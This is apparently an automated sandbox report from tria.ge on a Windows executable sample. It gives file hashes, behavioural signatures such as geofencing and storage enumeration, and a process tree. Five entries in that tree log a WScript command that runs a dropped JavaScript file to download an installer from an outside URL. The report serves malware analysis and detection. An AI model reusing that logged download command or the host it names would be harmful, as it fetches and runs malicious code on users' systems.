Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
28/11/2022, 05:50
Static task
static1
Behavioral task
behavioral1
Sample
ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
Resource
win10v2004-20220812-en
General
-
Target
ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
-
Size
184KB
-
MD5
78dbce0a666c509a604fe15b95e7ca9c
-
SHA1
f871b9f413430b05d8e0e36768d9b8cdd74dde22
-
SHA256
ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e
-
SHA512
a7e38855bd65abbfcf3d34d35da12a11f2029d91ca71135621ef2b9782b8703a0021376ad8c4a3d103fc6300c7b210c7a15e5c378982036b672b90605cda952d
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndnd
Malware Config
Signatures
-
Blocklisted process makes network request 16 IoCs
flow pid Process 4 4596 WScript.exe 5 4596 WScript.exe 17 4596 WScript.exe 20 4596 WScript.exe 31 4596 WScript.exe 40 4596 WScript.exe 55 4596 WScript.exe 66 4596 WScript.exe 72 4140 WScript.exe 73 4140 WScript.exe 82 1560 WScript.exe 83 1560 WScript.exe 88 932 WScript.exe 89 932 WScript.exe 90 2216 WScript.exe 91 2216 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 72 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 82 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 88 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 90 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1100 wrote to memory of 4596 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 80 PID 1100 wrote to memory of 4596 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 80 PID 1100 wrote to memory of 4596 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 80 PID 1100 wrote to memory of 4140 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 88 PID 1100 wrote to memory of 4140 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 88 PID 1100 wrote to memory of 4140 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 88 PID 1100 wrote to memory of 1560 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 89 PID 1100 wrote to memory of 1560 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 89 PID 1100 wrote to memory of 1560 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 89 PID 1100 wrote to memory of 932 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 90 PID 1100 wrote to memory of 932 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 90 PID 1100 wrote to memory of 932 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 90 PID 1100 wrote to memory of 2216 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 91 PID 1100 wrote to memory of 2216 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 91 PID 1100 wrote to memory of 2216 1100 ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe"C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe2⤵
- Blocklisted process makes network request
PID:4596
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe2⤵
- Blocklisted process makes network request
PID:4140
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe2⤵
- Blocklisted process makes network request
PID:1560
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe2⤵
- Blocklisted process makes network request
PID:932
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe2⤵
- Blocklisted process makes network request
PID:2216
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76